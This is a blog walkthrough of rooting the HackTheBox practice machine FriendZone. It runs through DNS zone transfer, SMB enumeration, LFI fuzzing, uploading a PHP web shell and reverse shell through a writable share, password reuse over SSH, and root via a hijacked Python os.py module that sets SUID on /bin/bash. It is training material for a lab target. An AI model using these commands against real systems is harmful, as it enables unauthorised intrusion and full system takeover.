HackTheBox | FriendZone

In this walkthrough, I demonstrate how I obtained complete ownership of FriendZone on HackTheBox
HackTheBox | FriendZone
In: HackTheBox, Attack, CTF, OSCP Prep, TJ Null OSCP Practice

Nmap Results

# Nmap 7.94SVN scan initiated Wed Feb 21 18:25:26 2024 as: nmap -Pn -p- --min-rate 2000 -A -oN nmap.txt
Nmap scan report for
Host is up (0.011s latency).
Not shown: 65528 closed tcp ports (reset)
21/tcp  open  ftp         vsftpd 3.0.3
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a9:68:24:bc:97:1f:1e:54:a5:80:45:e7:4c:d9:aa:a0 (RSA)
|   256 e5:44:01:46:ee:7a:bb:7c:e9:1a:cb:14:99:9e:2b:8e (ECDSA)
|_  256 00:4e:1a:4f:33:e8:a0:de:86:a6:e4:2a:5f:84:61:2b (ED25519)
53/tcp  open  domain      ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Friend Zone Escape software
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open  ssl/http    Apache httpd 2.4.29
|_http-title: 404 Not Found
|_http-server-header: Apache/2.4.29 (Ubuntu)
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
| Not valid before: 2018-10-05T21:02:30
|_Not valid after:  2018-11-04T21:02:30
| tls-alpn: 
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:

Network Distance: 2 hops
Service Info: Hosts: FRIENDZONE,; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: friendzone
|   NetBIOS computer name: FRIENDZONE\x00
|   Domain name: \x00
|   FQDN: friendzone
|_  System time: 2024-02-22T01:25:58+02:00
| smb2-time: 
|   date: 2024-02-21T23:25:58
|_  start_date: N/A
|_clock-skew: mean: -40m00s, deviation: 1h09m16s, median: -1s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: FRIENDZONE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

TRACEROUTE (using port 111/tcp)
1   10.34 ms
2   10.44 ms

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Feb 21 18:26:07 2024 -- 1 IP address (1 host up) scanned in 40.69 seconds

Note the friendzone.red in the TLS certificate information on tcp/443. Let's go ahead and add that our /etc/hosts file.

echo '        friendzone.red' | sudo tee -a /etc/hosts

Service Enumeration


Successful zone transfer!

Let's add the rest of these to our hosts file.

echo '        administrator1.friendzone.red hr.friendzone.red uploads.friendzone.red' | sudo tee -a /etc/hosts


No anonymous FTP


We are able to anonymously list the shares:

  • Files which is mapped to /etc/Files
  • general
  • Development

We can use the smb-enum-shares script with nmap to see which shares map to which path.

sudo nmap -Pn -T4 -p445 --script smb-enum-shares

Let's see what we can map.

We are able to anonymously map general and Development. Let's dig around in the file shares and see if there's anything interesting.

'creds.txt' in the 'general' share, we cannot put any files in this share
Nothing in the 'Development' share, but we can put files in the share
The 'admin THING' might be 'administrator1.friendzone.red'


We're going to have to assess tcp/80 and tcp/443 independently, as the target is clearly using virtual hosts. We can see this by the way different content is loading based on the port and HTTP Host header.
VirtualHost Enumeration | 0xBEN | Notes
VirtualHosts Examples .iframe-container { position: relative; overflow: hidden; width: 100%;…


Let's go ahead and get these add to our /etc/hosts file as well.

echo '        friendzoneportal.red admin.friendzoneportal.red files.friendzoneportal.red imports.friendzoneportal.red vpn.friendzoneportal.red' | sudo tee -a /etc/hosts

After adding the hostnames to /etc/hosts and navigating to the respective URLs, it seems that tcp/80 is not making use of virtual hosts, as the content is the same regardless of hostname. hr.friendzone.red, uploads.friendzone.red, administrator1.friendzone.red, friendzoneportal.red, admin.friendzoneportal.red, files.friendzoneportal.red, imports.friendzoneportal.red, vpn.friendzoneportal.red all serve the same content.

I wasn't able to find anything interesting with gobuster either.






Login using the information in 'creds.txt'
Almost certainly coupled with the file upload on 'uploads.friendzone.red'
Uploaded a test picture, we can see the timestamp value
We can see that it's trying to load from '/images'
We can list files in this directory
Convert the date and timestamp to Unix time
We can load the file in the directory, assuming we have the correct Unix timestamp

Now would be a great time to see if either of these parameters are vulnerable to Local File Inclusion (LFI). We can use gobuster for this task.

Grab your session cookie from Burp or Dev Tools
gobuster fuzz -k -u "https://administrator1.friendzone.red/dashboard.php?image_id=FUZZ&pagename=$(date +%s)" -w /usr/share/seclists/Discovery/Web-Content/big.txt --exclude-length 302,350-375 -H 'Cookie: FriendZoneAuth=e7749d0f4b4da5d03e6e9196fd1d18f1; sid=f477a5b4-d117-11ee-a367-26c6f6105c83'

Test the 'image_id' parameter, we use the content length to rule out false-positives

Nothing interesting for the image_id parameter. Let's test the pagename parameter.

gobuster fuzz -k -u "https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=FUZZ" -w /usr/share/seclists/Discovery/Web-Content/big.txt --exclude-length 302,352-354 -H 'Cookie: FriendZoneAuth=e7749d0f4b4da5d03e6e9196fd1d18f1; sid=f477a5b4-d117-11ee-a367-26c6f6105c83' -t 10

Test the 'pagename' parameter

Interesting that it found login and dashboard, as both are .php scripts that we've seen while logging into the application. It doesn't seem to apply to the .jpg files no matter how I try. So, the file inclusion only seems to apply to .php files.

If you try and load pagename=dashboard, this is going to crash your browser, as it puts page in an infinite loop. My guess is that this due to using an INCLUDE statement, which causes the page to keep loading itself.
There is definitely a PHP include statement here as the contents match above
php filter hacktricks - Google Search

We can try and read the source code of the login.php and dashboard.php files by using a PHP filter.


Convert dashboard.php to a Base64 string

Take the base64 string and decode locally to reveal the page source code



//echo "<center><h2>Smart photo script for friendzone corp !</h2></center>";
//echo "<center><h3>* Note : we are dealing with a beginner php developer and the application is not tested yet !</h3></center>";
echo "<title>FriendZone Admin !</title>";
$auth = $_COOKIE["FriendZoneAuth"];

if ($auth === "e7749d0f4b4da5d03e6e9196fd1d18f1"){
 echo "<br><br><br>";

echo "<center><h2>Smart photo script for friendzone corp !</h2></center>";
echo "<center><h3>* Note : we are dealing with a beginner php developer and the application is not tested yet !</h3></center>";

  echo "<br><br>";
  echo "<center><p>image_name param is missed !</p></center>";
  echo "<center><p>please enter it to show the image</p></center>";
  echo "<center><p>default is image_id=a.jpg&pagename=timestamp</p></center>";
 $image = $_GET["image_id"];
 echo "<center><img src='images/$image'></center>";

 echo "<center><h1>Something went worng ! , the script include wrong param !</h1></center>";
 //echo $_GET["pagename"];
echo "<center><p>You can't see the content ! , please login !</center></p>";


Web Shell

We're going to chain a few vulnerabilities here.

  1. We have write access to the Development share and we know that it's mapped to /etc/Development
  2. We know the web server includes .php files without the .php extension, as we can see the dashboard.php script appends the .php extension to the name on the pagename parameter

I'll use the web shell found here and save it as sh.php.

GitHub Gist: instantly share code, notes, and snippets.
smbclient -N // -c 'put sh.php'

Then, navigate to https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/sh&cmd=ip%20a

Reverse Shell

We can use this PHP reverse shell here and save it as rev.php then write it to the Development share.

GitHub - pentestmonkey/php-reverse-shell
Contribute to pentestmonkey/php-reverse-shell development by creating an account on GitHub.
wget https://github.com/pentestmonkey/php-reverse-shell/raw/master/php-reverse-shell.php -O rev.php
nano rev.php
$ip = '';  // CHANGE THIS
$port = 443;       // CHANGE THIS
$shell = 'uname -a; w; id; /bin/bash -i';

I'll make these changes to the script

smbclient -N // -c 'put rev.php'
sudo rlwrap nc -lnvp 443

Then, navigate to https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/rev

Post-Exploit Enumeration

Operating Environment

OS & Kernel

VERSION="18.04.1 LTS (Bionic Beaver)"
PRETTY_NAME="Ubuntu 18.04.1 LTS"
Linux FriendZone 4.15.0-36-generic #39-Ubuntu SMP Mon Sep 24 16:19:09 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux    

Current User

uid=33(www-data) gid=33(www-data) groups=33(www-data)
Sorry, user www-data may not run sudo on FriendZone.

Users and Groups

Local Users


Local Groups


Network Configurations

Network Interfaces

ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:50:56:b9:f0:7f brd ff:ff:ff:ff:ff:ff
    inet brd scope global ens192
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:f07f/64 scope global dynamic mngtmpaddr 
       valid_lft 86400sec preferred_lft 14400sec
    inet6 fe80::250:56ff:feb9:f07f/64 scope link 
       valid_lft forever preferred_lft forever  

Open Ports

tcp        0      0 *               LISTEN      -                   
tcp        0      0 *               LISTEN      -                       

Interesting Files



import os

to_address = "admin1@friendzone.com"
from_address = "admin2@friendzone.com"

print "[+] Trying to send email to %s"%to_address

#command = ''' mailsend -to admin2@friendzone.com -from admin1@friendzone.com -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"'''


# I need to edit the script later
# Sam ~ python developer    


for development process this is the mysql creds for user friend




Privilege Escalation

Lateral to Friend

We discovered the password for friend in /var/www/mysql_data.conf. We can see if the password is re-used for SSH.

We are able to SSH into the target due to password re-use

During my post-exploit enumeration as friend, I ran the following command to see which files I have write permissions to:

find / -type f -writable 2>/dev/null | grep -vE '\/proc|\/sys'

We can see that we have write permissions on os.py, which is one of the locally installed modules, and just happens to be invoke in reporter.py in the import os statement.

We actually have full permissions over the entire directory

I feel quite certain that the /opt/server_admin/reporter.py script is being used in a cron job by the root user, especially when looking at permissions on the script file.

Lateral to Root

My best guess is that the /opt/server_admin/reporter.py script is being used by a cron job run by root at regular intervals. Since the reporter.py script is running import os and we have write access to os.py, let's simply add some test code the os.py module to test our theory.

echo "system('touch /tmp/am_i_root.txt')" >> /usr/lib/python2.7/os.py
Code added to the 'os.py' module
Indeed, we are root!
nano /usr/lib/python2.7/os.py

Edit the file and add your own system command to the script

system('chmod u+s /bin/bash')

Add SUID bit to '/bin/bash', so we can run it in the context of the 'root' owner





More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.